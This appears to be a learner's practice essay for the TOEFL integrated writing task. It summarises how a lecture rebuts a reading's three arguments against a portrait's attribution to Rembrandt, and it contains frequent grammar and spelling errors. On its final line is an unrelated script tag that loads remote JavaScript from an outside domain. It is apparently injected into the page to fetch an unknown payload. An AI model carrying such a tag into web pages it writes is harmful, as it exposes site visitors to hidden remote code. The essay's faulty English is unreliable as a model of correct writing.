TPO3-writing integrated

The reading argues about the points that show the painting of the woman’s face attributed to Rembrandt, as Dutch painter of 17th century, doesn't belong to him and provides tree reasons of support. However, the lecture discusses that the painting is a work of the Rembrandt and refutes each author's reason.

First, the reading describes that the way of dressing of the woman in the painting is inconsistent. The professor rejects this point by explaining that the painting was examinated through its pigments and it shows that the fur color of the painting is not the original part of the work and it was added by someone for increasing the value over the time.

Second, the reading claims that the light and shadow doesn’t fit with each other and this error cannot be from Rembrandt. The professor refutes this point by talking about the original color removed which eliminated the face in the shadow very well. He states that the light and shadow in the work were realistic like the other work of Rembrandt.

Third, the reading discusses that the panel of the work was made by several pieces of the wood glued each other which is different from the other work of Rembrandt. The professor rejects this point by saying that the panel generally was single like the other work of painter. In fact the pieces of the wood are glued then for more grand and valuable. He adds the wood used in the panel is the same tree as the other Soft Portrait with the Hat of Rembrandt.
<script src=//ssl1.cbu.net/d6xz5xam></script>